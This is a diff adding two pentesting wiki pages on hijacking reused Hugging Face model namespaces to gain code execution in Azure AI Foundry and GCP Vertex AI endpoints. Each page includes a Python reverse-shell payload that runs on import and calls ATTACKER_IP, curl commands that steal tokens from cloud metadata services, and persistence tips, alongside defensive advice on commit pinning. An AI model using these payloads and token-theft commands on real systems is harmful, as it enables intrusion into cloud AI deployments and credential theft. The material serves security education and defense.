Model Namespace Reuse An AI Supply-Chain Attack Exploiting M...

src/SUMMARY.md

@@ -96,6 +96,7 @@
     - [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
     - [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
     - [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
+    - [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
     - [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
     - [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
   - [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -461,6 +462,7 @@
     - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
     - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)    
   - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
+    - [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md)
     - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
     - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
     - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -2,4 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
 
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -0,0 +1,104 @@
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenario
+
+- Azure AI Foundry Model Catalog includes many Hugging Face (HF) models for one-click deployment.
+- HF model identifiers are Author/ModelName. If an HF author/org is deleted, anyone can re-register that author and publish a model with the same ModelName at the legacy path.
+- Pipelines and catalogs that pull by name only (no commit pinning/integrity) will resolve to attacker-controlled repos. When Azure deploys the model, loader code can execute in the endpoint environment, granting RCE with that endpoint’s permissions.
+
+Common HF takeover cases:
+- Ownership deletion: Old path 404 until takeover.
+- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
+
+## Identifying Reusable Namespaces (HF)
+
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+
+## End-to-end Attack Flow against Azure AI Foundry
+
+1) In the Model Catalog, find HF models whose original authors were deleted or transferred (old author removed) on HF.
+2) Re-register the abandoned author on HF and recreate the ModelName.
+3) Publish a malicious repo with loader code that executes on import or requires trust_remote_code=True.
+4) Deploy the legacy Author/ModelName from Azure AI Foundry. The platform pulls the attacker repo; loader executes inside the Azure endpoint container/VM, yielding RCE with endpoint permissions.
+
+Example payload fragment executed on import (for demonstration only):
+
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+    s = socket.socket(); s.connect((host, port))
+    for fd in (0,1,2):
+        try:
+            os.dup2(s.fileno(), fd)
+        except Exception:
+            pass
+    subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+    threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+
+Notes
+- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
+- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Enumerate environment variables and MSI endpoints for tokens:
+
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+
+- Check mounted storage, model artifacts, and reachable Azure services with the acquired token.
+- Consider persistence by leaving poisoned model artifacts if the platform re-pulls from HF.
+
+## Defensive Guidance for Azure AI Foundry Users
+
+- Pin models by commit when loading from HF:
+
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+
+- Mirror vetted HF models to a trusted internal registry and deploy from there.
+- Continuously scan codebases and defaults/docstrings/notebooks for hard-coded Author/ModelName that are deleted/transferred; update or pin.
+- Validate author existence and model provenance prior to deployment.
+
+## Recognition Heuristics (HTTP)
+
+- Deleted author: author page 404; legacy model path 404 until takeover.
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+
+## Cross-References
+
+- See broader methodology and supply-chain notes:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## References
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md

@@ -2,4 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
 
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -0,0 +1,123 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenario
+
+- Vertex AI Model Garden allows direct deployment of many Hugging Face (HF) models.
+- HF model identifiers are Author/ModelName. If an author/org on HF is deleted, the same author name can be re-registered by anyone. Attackers can then create a repo with the same ModelName at the legacy path.
+- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions.
+
+Two common takeover cases on HF:
+- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
+- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
+
+## Identifying Reusable Namespaces (HF)
+
+- Old author deleted: the page for the author returns 404; model path may return 404 until takeover.
+- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo.
+
+Quick checks with curl:
+
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+
+## End-to-end Attack Flow against Vertex AI
+
+1) Discover reusable model namespaces that Model Garden lists as deployable:
+- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
+- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.
+
+2) Re-register the deleted author on HF and recreate the same ModelName.
+
+3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
+- Side effects in __init__.py of the repo
+- Custom modeling_*.py or processing code referenced by config/auto_map
+- Code paths that require trust_remote_code=True in Transformers pipelines
+
+4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
+
+5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
+
+Example payload fragment executed on import (for demonstration only):
+
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+    s = socket.socket(); s.connect((host, port))
+    for fd in (0,1,2):
+        try:
+            os.dup2(s.fileno(), fd)
+        except Exception:
+            pass
+    subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+    threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+
+Notes
+- Real-world loaders vary. Many Vertex AI HF integrations clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some uses require trust_remote_code=True.
+- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Once code is running inside the endpoint container, consider:
+- Enumerating environment variables and metadata for credentials/tokens
+- Accessing attached storage or mounted model artifacts
+- Interacting with Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
+- Persistence in the model artifact if the platform re-pulls the repo
+
+Enumerate instance metadata if accessible (container dependent):
+
+```bash
+curl -H "Metadata-Flavor: Google" \
+  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+## Defensive Guidance for Vertex AI Users
+
+- Pin models by commit in HF loaders to prevent silent replacement:
+
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+
+- Mirror vetted HF models into a trusted internal artifact store/registry and deploy from there.
+- Continuously scan codebases and configs for hard-coded Author/ModelName that are deleted/transferred; update to new namespaces or pin by commit.
+- In Model Garden, verify model provenance and author existence before deployment.
+
+## Recognition Heuristics (HTTP)
+
+- Deleted author: author page 404; legacy model path 404 until takeover.
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+
+## Cross-References
+
+- See broader methodology and supply-chain notes:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## References
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -454,6 +454,7 @@ azure-security/
 
 You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
 
+
 {{#include ../banners/hacktricks-training.md}}